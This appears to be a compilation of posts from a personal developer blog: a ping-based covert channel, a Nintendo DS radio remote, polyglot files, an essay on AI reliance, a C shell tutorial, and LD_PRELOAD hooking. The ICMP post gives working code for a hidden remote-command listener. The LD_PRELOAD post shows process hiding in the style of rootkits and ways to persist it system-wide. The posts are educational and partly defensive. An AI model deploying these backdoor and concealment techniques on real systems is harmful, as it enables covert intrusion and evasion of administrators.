Look at these logs:

Those are ICMP echo packets — or more commonly known as ping packets — coming back and forth from my laptop and another device. They're a way for machines to confirm that they can reach other machines on their network.

Now lets take a look at my downloads folder:

This file wasn't there before — and that's expected, the ping packets transported it.

I was messing around with packet manipulation the other day and ended up sending a file across the network using nothing but ping requests. It worked, which was cool. I learned something important but unsexy: the line between 'normal traffic' and 'suspicious traffic' is mostly just convention.

How it Works

Most people know ping packets bounce between two machines, and if you read this article, you know they carry a TTL too. What barely anyone thinks about is that they also carry a payload.

An ICMP echo packet, as defined in RFC 792, has a few header fields — type, code, identifier, sequence number — and then a data field. That data field is mostly there to confirm integrity: your OS just needs to send something back identical to confirm the data transfer worked. Windows famously fills it with the alphabet, Linux uses an incrementing byte pattern. Most systems don't actively validate what's in there — your OS just verifies the data came back unchanged. That's the gap we're exploiting:
What if we put something else in that field?

Implementing It

Now that we know the mechanism works, let's see what we can actually do with it. The scapy library makes packet manipulation trivial, so we'll start with the simplest possible case: just reading what's inside.

from scapy.all import sniff, IP, ICMP, Raw

def handle_packet(pkt):
    if ICMP in pkt and pkt[ICMP].type == 8: # ICMP type 8 = echo
        if Raw in pkt:
            print(f"Payload: {bytes(pkt[Raw])}")

sniff(filter="icmp", prn=handle_packet, store=False)

Running this shows the payload of the pings that reach my laptop:

Now let's inject a custom payload, still with scapy:

from scapy.all import send, IP, ICMP

packet = IP(dst="127.0.0.1")/ICMP()/b"dblog!"
send(packet)

We can see the payload changed to carry our custom data, and everything is still perfectly valid!

From this, we can write programs to process custom payload contents, but we need to keep in mind that a payload has a size limit. The standard Ethernet MTU is 1500 bytes. Stripping the IP header (20 bytes) and ICMP header (8 bytes) leaves 1472 bytes. Since we will prefix each packet with 3 bytes (FP:, NF:, etc.), the actual file data per packet is 1469 bytes. To keep a safety margin for edge cases, we use 1400-byte chunks.

A Remote Command Executor

This technique can be used in many ways, but I thought of creating a small python snippet allowing remote code execution (RCE) over ping packets.

To implement this, I checked if the payload bytes start with a predefined string — so I don't accidentally execute every ping payload — and then simply decode and execute the command following that string. Since these are regular CLI commands, we can use ASCII encoding to reach about ~1400 characters max per packet.

The logic behind it is basically this:

# "CoMmand"
if payload.startswith(b"CM:"):
    
    cmd = (payload[3:]         # remove the leading 'CM:'
            .rstrip(b"\x00")   # remove eventual null bytes added by padding / network transmission
            .decode("ascii"))  # decode the text
    
    print(f"Received command: {cmd}")
    subprocess.Popen(cmd, shell=True)

As for the program that sends the data, it stays really simple:

dst = input("IP: ").strip()
command = input("Command: ").strip()

if len(command) > 1400:
    print("Command too long (max 1400 chars)")
    sys.exit(1)

payload = b"CM:" + command.encode("ascii")
packet = IP(dst=dst)/ICMP()/payload
send(packet, verbose=False)
print(f"Sent to {dst}: {command}")

This is a really interesting way of hiding a RCE in a server, since it does not require to open a port, or any other thing that could be suspicious — it simply listens to incoming ICMP packets in the shadow. The only caveat is that it requires either root execution or the CAP_NET_RAW capability.

That covers commands, but what if we need to move actual data? Commands are just text after all — files are different. Let's extend this idea.

File Transfer

Now what if I told you that this blog article — which behind the scenes is just a markdown file — was uploaded to the server serving it using ICMP packets? Well it did — it took 7 packets, and 5 seconds to get there. That's approximately 1.7 KB/s for this ~8.6KB file.

The core principle stays the same, but now, instead of sending ASCII encoded strings, we directly send the file's bytes. This lets us transfer any type of file since we don't care how it's written.

content = file_path.read_bytes()
chunks = [content[i:i+1400] for i in range(0, len(content), 1400)]

This code chunks the bytes in segments of maximum 1400 bytes of length, to fit into the MTU limit.

After splitting the file, we need to announce to the receiving end when we start and finish a file transfer. To do this, I used a simple sequence:

1. Send a NF:<file path> (new file) packet — it tells the listener to clear the current file input and where to save the future file
2. Send a FP:<bytes> (file part) packet — this is the packet that contains the actual file content. It loops until we got no more content to send.
3. Finally, send a EF:<file path> (end of file) packet — this confirms that it's still the same file being sent, but the file path could be replaced with a checksum hash to confirm everything arrived correctly to destination.

Here are the code samples representing what I just described:

def send_packet(dst, payload):
    packet = IP(dst=dst)/ICMP()/payload
    send(packet, verbose=False)

# "New File"
send_packet(dst, b"NF:" + str(remote_path).encode("utf-8"))

# "File Part"
for i, chunk in enumerate(chunks, 1):
    send_packet(dst, b"FP:" + chunk)
    print(f"Sent packet n°{i}")
    time.sleep(0.5) # 0.5s per chunk, can probably be lowered

# "End of File"
send_packet(dst, b"EF:" + str(remote_path).encode("utf-8"))
print(f"Sent {file_path} in {len(chunks)} chunks")

As for the receiving end, we reconstruct it the opposite way:

# "New File"
if payload.startswith(b"NF:"):
    file_path = payload[3:].rstrip(b"\x00").decode("utf-8")
    file_content = b""
    print(f"Starting data collection from file {file_path}")

# "File Part"
elif payload.startswith(b"FP:"):
    file_content += payload[3:]
    print("+data")

# "End of File"
elif payload.startswith(b"EF:"):
    # Confirm the filepath
    if file_path == payload[3:].rstrip(b"\x00").decode("utf-8"):
        file_path = Path(file_path)

        # create the path if it doesnt exists
        file_path.parent.mkdir(parents=True, exist_ok=True)
        with open(file_path, "wb") as f:
            f.write(file_content)

        print(f"Wrote to {file_path}")

A real implementation would add sequence numbers and acknowledgments so dropped packets trigger retransmission, plus a checksum in the EF: packet to validate the file arrived intact. This basic version doesn't, which works fine in a controlled environment but is why I'd never actually use this for anything that mattered.

Why This Isn't Actually Clever

Here's where I'm going to be honest: this technique isn't new. ptunnel did this in 2004. I just read the RFC and built the obvious implementation.

More importantly: it's bad at its job.

Even if ICMP egress isn't filtered — and it often is in security-conscious networks — the approach has serious problems:

• Speed: 1.7 KB/s means a 1MB exfil takes over 10 minutes. SSH does it in milliseconds.
• Volume: Forty pings in three minutes is a detectable spike. Traffic analysis would flag that pretty quickly.
• Fragility: A single dropped packet requires retransmission. On a bad link, you're resending constantly.
• Privileges: Both techniques require either root access or the CAP_NET_RAW Linux capability (which allows unprivileged processes to craft raw packets). This is a significant privilege requirement that limits practical exploitation.

A real attacker uses SSH with port forwarding, DNS tunneling, or just HTTP. They don't use ping.

So Why Do This?

We just showed ICMP can exfiltrate files and execute commands without opening a port. Most open networks allow ICMP. Security-conscious networks restrict it. But there's a middle ground: networks that allow ICMP for diagnostics but don't deeply inspect its payloads.

Your firewall probably has rules like:

• Allow ICMP (assumed harmless for network diagnostics)
• Allow SSH on port 22 (for administrative access)
• Block everything else

That framework assumes ICMP = harmless, port 22 = controlled access, everything else = dangerous. But ICMP can carry commands. SSH can tunnel other protocols. The ports you allow are gateways, not guardrails.

This is why modern threat detection doesn't trust surface-level protocol labels. It looks at behavior: Do you normally see 50 pings to the same host in three minutes? Anomalous. Is that SSH session exfiltrating terabytes of data? Time to investigate.

The Takeaway

If you're defending a network: monitor behavior, not just protocols. If you're attacking one (which, legally, you shouldn't): be patient and clever about volume and timing. A slow exfil that looks normal is worth more than a fast one that screams "intrusion."

Building this was useful to me, not because I invented something new, but because I finally understood why security teams don't just trust the labels on packets.

They shouldn't. Neither should you.

The code used in this article is fully available on my Github.

I've had a hacked Nintendo DS for a while, and I always wanted to write something for it. I tried once before and gave up. This time I had a better excuse.

See, I'm also developing BotWave as one of my many projects, and if you don't know what it is, it's basically a software for Raspberry Pis that lets them broadcast FM radio.

Now you're probably telling yourself: but a DS isn't a Raspberry Pi?

And you're right. But see, BotWave has a remote command feature, that basically exposes a WebSocket acting as a cli interface, making a bridge between the internal commands and external scripts.

This blog post will document how I managed to build a setup making the DS and the Raspberry Pi able to communicate anywhere, anytime, and broadcast some cool songs.

devkitPro

My first goal was to get an "Hello, world!" displayed on my DS screen. To do this, the easiest way seemed to install devkitPro on my system.

As said on their GitHub homepage: devkitPro is an organization dedicated to providing useful tools and libraries targeting a variety of (primarily Nintendo) game consoles.

They provide the required libraries and tools to build .nds files. Those files are ROMs that can be loaded by either an emulator or original hardware running custom firmware, such as the Wood R4 I use.

As for the hello world, it was fairly easy since the examples provide one:

#include <nds.h>
#include <stdio.h>

int main(void) {
    consoleDemoInit();

    iprintf("Hello, World!\n");

    while (1) {
        swiWaitForVBlank();
    }

    return 0;
}

To test it, I used the melonDS emulator:

Accessing A Network

The only way for a DS to access a network is using Wifi, but you can probably guess that it isn't this easy using a 2004 console.

First of all, the wifi settings on a Nintendo DS are managed in some obscure on-card way, and accessing them is terrible. Here is how I managed to do it:

1. I loaded Mariokart DS

2. I went on the Nintendo WFC (Wi-Fi Connection)

3. Then I accessed the settings

4. And finally I had access to the WiFi settings

And then, another limitation: the DS accepts either unauthenticated networks or WEP-protected ones, that neither my phone or my router support. So I just went with an unprotected access point. Oh, and no 5GHz, obviously.

Fortunately, programmatically speaking, devkitPro provides a dswifi9 lib that handles all that mess on its own and we just have to Wifi_InitDefault(WFC_CONNECT).

The Side-Quest

After that, I started messing a bit with raw sockets, but sadly the only record I have of that is this image:

Anyways, it rapidly became evident that I would definitely not connect to the BotWave remote connection using WebSocket. It's already a miracle if I can get it to work with a TCP socket.

So I had to build a compatibility bridge, running on the pi, that sits between the BotWave WS and the connecting DS.

As for the code, it was quickly done by Gemini, since it's a small ~200 lines script.

To break down its internals, it's really just two asyncio loops glued together. One loop reads from the WebSocket and writes to TCP:

async for message in self.ws:
    data = message if isinstance(message, bytes) else message.encode()
    self.tcp_writer.write(data)
    await self.tcp_writer.drain()

The other does the opposite, reading from TCP and sending over the WebSocket:

while self.active:
    data = await self.tcp_reader.read(4096)
    await self.ws.send(data.decode('utf-8'))

Both loops run at the same time with asyncio.wait(..., return_when=asyncio.FIRST_COMPLETED), so the moment either side dies, the bridge tears down the whole connection instead of leaving a dangling half-open socket.

The only annoying part is that WebSocket talks in messages while TCP talks in a raw stream, so there's a bit of glue to keep both sides from misunderstanding each other (decoding bytes, occasionally slapping a newline at the end). Everything else is just making sure nothing's left dangling when one side disconnects.

The challenging part was integrating it with BotWave itself. Since I wanted it to be easily reusable for other projects, I had to make it self-contained and easy to plug into any BotWave setup.

First of all, having a python script is nice, but integrating it can rapidly become a mess. That's why I made two small shell scripts, to start and stop the program.

Since it isn't the main thing of this blog post, I won't explain how it works in details, but you can find the full project on GitHub.

To do a rapid summary, the starter script takes the value into REMOTE_CMD_PORT to retrieve the WS port, and then either takes its first argument for the TCP socket port, or defaults to 9940. After parsing the values, it starts the python script as a background process.

The stop script creates a /tmp/killwtt file, that the bridge continuously watches, and stops itself if it exists.

All of those scripts are automatically ran using BotWave handlers and custom commands.

As a result, I now can connect to BotWave using a raw TCP socket, which will make it way easier to access it for our DS:

Building the Software

Now that the bridge was running, I had to actually write the DS client.

The first real challenge was the socket. The DS network stack is functional, but the default behavior is blocking, meaning if nothing comes in, the whole program just freezes waiting. On a console where you need to be scanning inputs and redrawing the screen every frame, that's a death sentence.

The fix is FIONBIO, a flag you pass to ioctl to make the socket non-blocking. After that, recv returns immediately whether there's data or not, and you just check errno for EAGAIN to know if it was empty.

int iMode = 1;
ioctl(g_sock, FIONBIO, &iMode);

One line. Took some hours to get there though.

As for the software itself, the concept is simple: the DS connects to the bridge, sends commands, and parses the responses to update the UI. And since it's a DS — two screens — I figured I might as well use both. The top screen shows the file list and the current broadcast status — the bottom one, a scrolling log of what's happening. You navigate with the D-pad, A to play, B to stop, X to refresh. devkitPro makes this pretty easy with its PrintConsole system, you just init two consoles and consoleSelect() to switch which one you're writing to.

The trickier part was parsing. BotWave's TCP output is a live stream: it doesn't pause and wait for you, it just keeps printing. So when I sent a lf (list files) command, the response would arrive mixed with whatever else the server was already outputting.

Fortunately, BotWave has a built-in transaction_id system — you can add transaction_id=something to any command, and every line of its response will carry that same tag back. On the DS side, I just generate a unique ID per command and only process lines that match it:

snprintf(init_cmd, sizeof(init_cmd), "lf transaction_id=%s", g_expected_lf_tx);

Everything else gets ignored. It's what made the whole parsing reliable without having to do anything clever.

The last piece was keeping the UI actually up to date. Once you're in the file browser, the DS polls BotWave's status command every 3 seconds — current file, frequency, uptime, whether it's on air or idle. That way the top screen stays live without hammering the connection, and you always know what the Pi is doing with minimal delay.

And here is the final result:

Putting it All Together

Finally, even if it technically works right now, I'd want it to be more of a single device that I can transport anywhere. To do this, I took a Pi Zero — specifically for its size — slapped it on the back of the DS, and turned it into an access point for the DS to connect to. Additionally, I made BotWave start on boot:

# setup the AP
sudo nmcli connection add type wifi ifname wlan0 con-name "DSRad" ssid "DSRad"
sudo nmcli connection modify "DSRad" 802-11-wireless.mode ap 802-11-wireless.band bg ipv4.method shared
sudo nmcli connection modify DSRad connection.autoconnect yes

# start BotWave on boot
sudo bw-autorun local --rc 9939

And, for the final touch, I duct-taped the pi on the back of the DS

As for the final note, if you wish to fully reproduce this project, a full guide is available on GitHub.

Listen to this audio:

Sounds pretty harmless, right? Now look at what that file actually is:

Both are the same file. One plays music, one wipes your system. This is a polyglot: a file that is simultaneously valid in multiple formats, and depending on what reads it, does something completely different.

How It Works

Most parsers are lenient by design. If your audio player refused to play a file because it found an unrecognized byte somewhere, you'd blame the player, not the file. So most parsers skip what they don't understand, and only care about what they're looking for.

MP3s work with sync frames — specific byte sequences that mark the start of each audio chunk. Crucially, most players don't require the first sync frame to be at byte zero. They'll scan forward until they find one.

ELF binaries, on the other hand, do require their header at byte zero. The kernel checks for 7f 45 4c 46 at the very start, and if it's not there, it won't run the file.

That mismatch is the whole trick. Put the ELF at the start, put the MP3 right after it:

|   rmdir.mp3    |
#================#
|                |
|    ELF Part    |  ← the kernel sees this, runs it
|                |
+================+
|                |
|    MP3 Part    |  ← the audio player scans to here, plays it
|                |
#================#

The kernel runs the ELF. The audio player plays the MP3. Both see what they want to see — neither of them is wrong. It just turns out that what a file is depends entirely on what's reading it.

Now, let's build a few of these.

The Audio With Video

To stay in the ELF + MP3 field, let's create a file that plays an ASCII video in your terminal, while playing itself as audio.

To do this, I first generated a file using an old tool I built that contains the Bad Apple video, split into multiple ASCII frames. After that, I extracted the audio track into an MP3.

To keep the code below simple, I hosted the .tmov file on a server — but the source contains a standalone version if you'd rather not depend on an external request.

The ELF Part

Now that we have the video file and the audio, let's build the binary:

int main(void) {
    // fetch the .tmov file from the server
    Buf b = {0};
    CURL *c = curl_easy_init();
    curl_easy_setopt(c, CURLOPT_URL, "https://cdn.douxx.tech/files/badapl.tmov");
    curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, wcb);
    curl_easy_setopt(c, CURLOPT_WRITEDATA, &b);
    curl_easy_perform(c);
    curl_easy_cleanup(c);

    // play itself as audio in a forked child
    if (!fork()) {
        // hide the child process output
        int fd = open("/dev/null", O_RDWR);
        dup2(fd, 0); dup2(fd, 1); dup2(fd, 2);
        execlp("ffplay", "ffplay", "-nodisp", "-autoexit", "-ss", "1", self, NULL);
        _exit(1);
    }

    // play the ascii frames
    for (char *del = NULL;; p = del + 4 + (del[4] == '\n')) {
        del = strstr(p, "!$$!");
        printf("\033[H\033[2J");
        fwrite(p, 1, del ? (size_t)(del - p) : strlen(p), stdout);
        nanosleep(&ts, NULL);
        if (!del) break;
    }
}

It starts by fetching the .tmov file, then forks a child process that plays itself using ffplay — passing /proc/self/exe as the audio source, which is the polyglot file. The parent process meanwhile clears the terminal and renders the ASCII frames one by one.

This one does hit the limits of the format though. It might not play at all depending on your browser, and if it does and you listened carefully, you probably noticed some noise at the very start — a short moment of gibberish before the actual music kicks in. That's not a bug exactly, it's the polyglot showing its seams.

Here's what's happening: the larger the ELF binary, the more raw bytes it contains, and with enough bytes, some of them will accidentally form valid-looking MP3 sync frames — 0xFF followed by the right bit pattern, pointing to what looks like a valid audio chunk. The player finds one of those, thinks it's found the start of the audio, and starts decoding. It isn't audio. It's program code. So it plays it anyway, and it sounds like static.

rmdir.mp3 avoided this almost entirely because it was a small assembly binary — a few thousands bytes that happened not to contain any convincing sync frames. This one is a full C binary with libcurl linked in, sitting at a few megabytes. At that size, false positives are basically guaranteed.

An Image That Also Is A Document

Moving away from executables — the same principle applies to formats that have nothing to do with code.

Most PDF readers scan the file until they find %PDF, which signals the start of the content, then read forward until %%EOF. They don't particularly care what comes before or after those markers, as long as the structure between them is valid.

PNGs, on the other hand, are built around a chunk system. The file is a sequence of typed blocks — IHDR, IDAT, IEND — and any chunk the viewer doesn't recognize is simply skipped. One of those ignorable chunks is tEXt, which stores arbitrary key-value text. Image viewers don't render it, don't validate it, don't care about it at all.

So: store a full valid PDF inside a tEXt chunk, and you have a file that an image viewer opens as a picture, and a PDF parser — scanning for %PDF anywhere in the file — opens as a document. A small Python script handles the chunk injection and the offset patching.

Look at this beautiful gradient:

And now look at this beautiful PDF:

Same file, different extension, different meaning.

The Source

Wanted the source? Here it is — and yes, I obviously had to end this article with one more polyglot.

Download the image above and run:

mkdir -p polyglot; unzip 88dbebf0.jpeg -d polyglot/

ZIP polyglots are actually surprisingly common in the wild. Because the ZIP format reads the file from its end — the central directory sits at the tail of the file, not the head — you can put almost anything before it and ZIP parsers won't care. Self-extracting archives work exactly this way: an executable at the front, a ZIP at the back, a single file that runs and unpacks. Java .jar files are the same trick — a ZIP that happens to also be a valid executable on the JVM.

Every format has slack somewhere. It's just a matter of finding it.

This post obviously talks about Artificial Intelligence, the "great tool" of every new developer.

I am myself a ChatGPT-era developer, as I started developing a discord bot, my first project, with ChatGPT in 2022-2023. However, it was still some light work — it was the beginning of something way worse.

Nowadays, I'm almost starting to compare it to an addiction. A new project? Gemini, how could I [...]? A vague new idea? ChatGPT, expand this idea to something more concrete! A new app? Claude, create the file structure for me and create the one thousand files required to built it.

Almost three months ago, I built a webserver in assembly, something where I actually wasn't able to spam AI, since debugging what it generated was harder than writing it myself.

During that time, I remembered why I at first loved developing, and it wasn't only because I was able to create something useful or that I liked. It was because each project had its own struggles, successes, and lessons to learn. I love writing code, and see it execute its complex actions on first try. And if it didn't, I did some good old internet research, looking at a human's response, even 15 years old.

AI removes this happiness, you just ask something, it does a lot of math and produces a confident output. Then you Ctrl-C Ctrl-V, and done — there's your brand new revolutionary startup.

It's weird that the machine you once gave instructions to — and at its core responded with logical "yes" or "no" — now asks you to tell "yes" or "no" before doing what you originally did, just like it stole your common sense, critical thinking, and creativity.

And yet, I still asked claude to correct this post...

During one of my dev classes, we had to do a simple web project. The topic was free, so I went with a blog engine. I could've knocked out something basic in three hours – database, some HTML and JS, done. But I figured: if I'm building one anyway, why not make it the one I actually needed?

The Old Blog Wasn't Really a Blog

The previous engine (still up at legacy.douxx.blog) didn't start as one. It was a documentation site, originally built for UrlToApp, a now-archived project. At some point I repurposed it into a blog, restyled it to match my main website, and started bolting things on – RSS feeds, comments, categories, the works.

The problem is that's exactly what it was: bolted on. Every new feature was stacked on top of code that was never meant to support it – cover images, for example, weren't proper metadata. It just scraped the article for a ![hero](<url>) tag. Not even an actual hero image. Eventually it got to the point where adding anything felt like defusing a bomb. Not fun.

So when the school project came up, the choice was obvious.

What Changed for Articles

A few things changed on the content side too. Some older articles just weren't worth keeping – they were outdated, half-baked, or both – so I cut them rather than migrate them for the sake of it.

The ones that made it over also got a fix that was long needed: inline JavaScript already existed in the old engine, but it was sluggish and held together with duct tape. It actually works properly now.

And if you followed an old link with ?p=something, don't worry – those redirect automatically to the legacy site, so nothing's broken.

End Note

I tried to make this transition as smooth as possible, but a few things didn't survive the architectural changes. Callout boxes – the little warning, tip, and note blocks with icons – are gone, and so are your old preferences if you had any set. Not huge losses, but worth mentioning.

If you want to set things up again, /settings is where you'd go.

Every developer uses a shell daily. Most people assume it's some complex, arcane piece of software. It's not. At its core, a shell is just a loop that reads a command, runs it, and waits for the next one. That's it. So let's build one.

A Prompt That Reads Commands

Every shell starts the same way: show a prompt, wait for input, chop it into pieces. Let's build that first.

What we want to do is read a string from stdin (the terminal input), and then split it into multiple args.

int main() {
    char input[MAX_INPUT];
    char **args;

    while (1) {
        printf("\n^shell> ");
        fflush(stdout); // used to be sure that the stdout buffer is printed

        fgets(input, MAX_INPUT, stdin); // capture stdin

        args = parse(input); // parse input

        for (int i = 0; i < MAX_ARGS; i++) {
            if (args[i] != NULL)
                printf("%s, ", args[i]);
        }

        free(args);  // free the allocated memory for args
        fflush(stdout);
    }
}

We have our basic command reader, right now it only prints back the parsed args.

^shell> yo
yo, 
^shell> hello world
hello, world, 

As for the parse(input), it's also quite simple:

char **parse(char *line) {
    char **args = malloc(sizeof(char*) * MAX_ARGS); // allocate the array on the heap so it stays alive after the function returns
    int i = 0;

    char *token = strtok(line, " \t\n");
    while (token != NULL && i < MAX_ARGS - 1) {
        args[i++] = token;
        token = strtok(NULL, " \t\n");
    }

    args[i] = NULL;
    return args;
}

strtok splits the string by spaces, tabs and newlines, and we store each chunk as a pointer in our args array. The final NULL is required for the next part.

Running The Commands

Right now, we just print them, what we want to do is run them.

The first thing we'll do is edit the main loop: instead of printing the args, we'll call a new execute(args) function.

args = parse(input); // parse input

execute(args);

This function will actually do the work, and here it is:

void execute(char **args) {
    pid_t pid = fork();

    if (pid == 0) { // pid = 0, we're in the child
        char *resolved = find_in_path(args[0]);
        if (!resolved) {
            fprintf(stderr, "^shell: command not found: %s\n", args[0]);
            exit(1);
        }

        // launches the program
        execve(resolved, args, environ);

    } else if (pid > 0) {
        wait(NULL); // wait for the child to die
    } else {
        perror("fork"); // something went wrong
    }
}

One of the two important parts is the fork() call. This one is directly a request to the Linux Kernel telling it to duplicate the current process into a new one, with the exact same memory values, and current execution point.

The created process is a child, it inherits from the parent (our shell), and becomes orphan if its parent dies.

fork() returns a process id (pid), if it is equal to 0, it means that we're the child. if it's a positive value, we're in the parent.

If we're the parent, it's easy, another syscall: wait(NULL), and we're blocked until the child exits.

On the other hand, we got a bit more work if we're the child.

The first thing we need to do is find the program to execute, the find_in_path() function will do the job:

• It fetches the PATH environment variable, formatted like this: /first/path:/second/path:/etc/bin
• It'll then look in each one of the colon-separated directories for an executable with the same name as args[0] – the program name.

Once it found the program (if it did), it runs one last syscall: execve.

This one is a bit special, since it completely replaces the current program, including its stack, heap, code segments and data segments with the new program ones.

Once done, the child is no longer our shell process. Once it exits, so does the child process, and the shell can loop again.

^shell> ls
blog.md  main  main.c  pbp  pbp.c

^shell> 

Builtins, And Why We Can't Call cd

Another important piece of what constitutes a shell is builtins – commands that aren't executed, but used to directly talk to the shell application itself.

A good example to understand why we need them is the cd (change directory) command. It allows the user to navigate through its file system easily.

See, processes carry kernel-managed state beyond memory – like their current working directory (cwd). As you probably guessed it, it indicates which directory the program is currently in.

We can see the cwd of programs using ls -l /proc/<PID>/cwd

If cd was called like any other program, here is what would happen:

• The current process gets duplicated, the child and parent now have separate states
• The cd process would be called, and change its own directory to the destination
• The cd process would exit
• We come back to our shell, but without its directory changed – the main program and its child don't share the same attributes

Here is what builtins are for: executing actions on the current program.

Here's how I handle builtins in the main loop:

args = parse(input); // parse input

if (strcmp(args[0], "exit") == 0) {
    free(args);
    break;
}

if (strcmp(args[0], "cd") == 0) {
    if (args[1] == NULL)
        fprintf(stderr, "myshell: cd: missing argument\n");

    else if (chdir(args[1]) == -1) // change dir syscall failed
        perror("myshell: cd");

    free(args);
    continue;
}

execute(args);

The cd builtin uses the chdir syscall to change its own cwd, and the exit one exits the loop, and therefore the program.

^shell> pwd
/home/local/c/shell

^shell> cd ..

^shell> pwd
/home/local/c

^shell> exit

[local@DouLen] ~/c/shell › 

The Command Prompt

Currently, the command prompt is just ^shell> . It's not bad, but it could be better.

Let's improve it to:

• Show the current user
• Show the machine hostname
• Show the working directory

To do this, I'll make a new function, spawn_prompt() that will handle it cleanly:

void spawn_prompt() {

    char *dir = get_curr_dir();
    char prompt = get_prompt_char();
    char *hostname = get_hostname();
    struct passwd *pw = getpwuid(getuid());

    printf("\n%s@%s %s %c ", pw->pw_name, hostname, dir, prompt);

    free(dir);
    fflush(stdout);
}

I'll leave out the get_* functions for brevity, but you'll be able to find the full code in this gist :)

After replacing the current implementation in main()

while (1) {
    spawn_prompt();

We now have a nice prompt, let's escalate our privileges with this new exploit (update your systems, folks!):

As you can see, it updates correctly the prompt, and when root, the prompt character switches from $ to #!

Surviving Ctrl-C

Right now, if we Ctrl-C inside our shell, it simply exits:

local@DouLen ~/c/shell $ ^C

[local@DouLen] ~/c/shell › 

That's a bit annoying, so let's fix it.

To do so, we need to setup signal handlers. Signals in Linux are a mechanism for communicating directly with a process, there are quite a few of them; the one that interests us is the SIGINT (signal interrupt), that pressing Ctrl-C sends.

The idea is simple: when we catch a signal, spawn a new clean prompt instead of exiting.

The implementation isn't complicated either:

int main() {
    signal(SIGINT, spawn_prompt); // call spawn_prompt on ^C

    char input[MAX_INPUT];
    char **args;

    while (1) {

Now, let's run ^C:

local@DouLen ~/c/shell $ ^C
local@DouLen ~/c/shell $ hello^C
local@DouLen ~/c/shell $ 

Nice, it works! However, let's run a program:

local@DouLen ~/c/shell $ nasmserver
Started the NASMServer static files HTTP server.

16:01:25 [INFO] Listening on 0.0.0.0:8080
^C16:01:26 [INFO] Stopping... (signal received)

local@DouLen ~/c/shell $ 
local@DouLen ~/c/shell $ 

The double prompt happens because ^C doesn't just signal the child – it signals the entire foreground process group, meaning both the child and our shell receive the SIGINT at the same time. So spawn_prompt() fires in our shell while the child is still running. Then, once the child exits, the main loop iterates and calls spawn_prompt() again – giving us two prompts.

Easy fix – just check tell that we got a SIGINT to the loop, so it skips the prompt the next iteration:

void spawn_prompt(int sig) {
    if (sig == SIGINT)
        got_sigint = 1;
// [...]

while (1) {
    if (!got_sigint)
        spawn_prompt(0); // 0 = not a real signal, just drawing the prompt
    got_sigint = 0;

What's next?

I'll probably keep hacking on this – pipes (|) and output redirection (>) are the obvious next steps, and I'd love to add command history at some point. There's also a bunch of smaller things, like proper quote handling, or $VAR expansion, that would make it feel a lot more like a real shell.

It's been a fun little project honestly. Writing your own shell really makes you appreciate how much work goes into the ones we use every day – bash and zsh are doing a lot under the hood (especially since they also handle job control, complex signal management, scripting with control flow, and still manage to feel snappy and responsive).

Again, full source with ~ and * expansion is available on this gist, if you're interested in it :^D

Here is a very simple C code:

int main() {
    uid_t uid = getuid();
    struct passwd *pw = getpwuid(uid);
    printf("uid: %d, user: %s\n", uid, pw->pw_name);
    return 0;
}

It simply prints your identity in the current session. Let's run it:

[local@DouLen] ~ › ./whoami
uid: 0, user: root

The program says I'm root, but look at the prompt: I'm logged in as local. There isn't any privilege escalation in the code, and the program isn't run with sudo or similar.

But if so, why is the program telling me that it is running as root? Well, it just got lied to. It genuinely thinks that it is root, and it is because it blindly trusts getuid function from libc, which we've overridden.

See, I lied to you. I didn't "just" run ./whoami. Before this, I ran this:

export LD_PRELOAD=./fake_uid.so

And that's it: a single environment variable just compromised my program. What it actually does, is tell the dynamic linker: "before the program runs, load this library".

You probably already guessed what this library does, but here is its code:

int getuid() { return 0; }

It overrides getuid to always return zero (=root). This is how you gaslight a binary.
And obviously, it's the least dangerous thing that a malicious library could do.

Why This Works

At a high level, this works because of how dynamically linked programs are executed on Linux.

Most binaries don't contain all the code they need. Instead, they rely on shared libraries (like libc), which are loaded at runtime by the dynamic linker (usually ld-linux.so).

When a program calls a function like getuid, it doesn't jump directly to a fixed address. Instead, the dynamic linker resolves that symbol at runtime and decides which implementation to use.

LD_PRELOAD takes advantage of this mechanism by injecting a library before all others. This means:

• If your library defines a function (e.g., getuid)
• That definition is used instead of the one in libc

In other words, you're not modifying the program itself, you're changing what its function calls resolve to at runtime.

This technique is often referred to as function interposition.

Another example, commonly used in rootkits, is hiding a process.

Here is evil.c, an extremely evil code:

int main() {
    while (1) {
        printf("Haha I'm so evil >:)\n");
        sleep(5);
    }

    return 0;
}

It just loops and prints forever, nothing special.

And now, let's switch to a sysadmin that wants to search for an evil process:

[admin@DouLen] ~ › ps a | grep evil
   7050 pts/2    S+     0:00 ./evil

And they immediately find it. Now, let's hide it a bit more.

See, processes in Linux are listed in /proc along other information. To list those processes, most programs enumerate /proc by reading directory entries (similar to ls /proc).

So all we have to do is overwrite readdir, trickier than it sounds, because we still need the real readdir to work underneath us.

struct dirent *readdir(DIR *dirp) {
    static struct dirent *(*real_readdir)(DIR *) = NULL;

    real_readdir = dlsym(RTLD_NEXT, "readdir"); // get the *real* readdir, since we need to use it

    struct dirent *entry;
    while ((entry = real_readdir(dirp)) != NULL) { // probe each entry of the real readdir call
        if (is_pid(entry->d_name)) {
            if (matches_target(entry->d_name)) {   // if it is our target process, skip it
                continue; // hide this process
            }
        }

        return entry;
    }

    return NULL;
}

(This part only is the "main" logic, full codes can be found here.)

Now, let's use ps again, with the library attached, this time.

[admin@DouLen] ~ › LD_PRELOAD=./ps_hide.so ps a | grep evil
   7214 pts/0    S+     0:00 grep --color=auto evil

And just like that, even if our evil program is still running, it isn't listed anymore. This is the way most rootkits operate to hide themselves (well, they use way more intensive techniques, but you got it).

Obviously, this is some light work. Actual malware does way more than this. A good example would be this simple library, that purely keylogs everything inputted into stdin:

It works the same way: hook fgets from libc, and everything typed into the program flows through your code first.

Variables Are Impractical

Let's be real, ain't no user will voluntarily prepend LD_PRELOAD=./safe_lib.so to all of their commands.

However, there are obviously other ways.

1. Hooking New Shells

/etc/profile.d/ contains scripts that are automatically loaded on terminal init, so an attacker could create a legitimate-looking file, like /etc/profile.d/who.sh with export LD_PRELOAD=/usr/local/lib/systemd-compat.so as a content, and every new shell created from there will preload systemd-compat.so, thus it being the malicious script.

This is a nice way, but not the most reliable one, since it only works for interactive shells.

2. System-Wide Persistence

/etc/ld.so.preload is literally the file meant to do that. Every entry in it is preloaded by the dynamic linker for all dynamically linked binaries.

So the attacker could simply append /usr/local/lib/systemd-compat.so to it, and the whole system would be compromised, even programs not being launched from an interactive shell.

Detecting Malicious Libraries

The Obvious Check

The first thing to do is check both persistence mechanisms directly:

cat /etc/ld.so.preload
ls /etc/profile.d/

Anything unexpected in either of those is a red flag. Look for files with innocent-sounding names like systemd-compat.so, libgcc-utils.so, anything trying to blend in. If you aren't sure about something, the internet is your best friend here.

strace

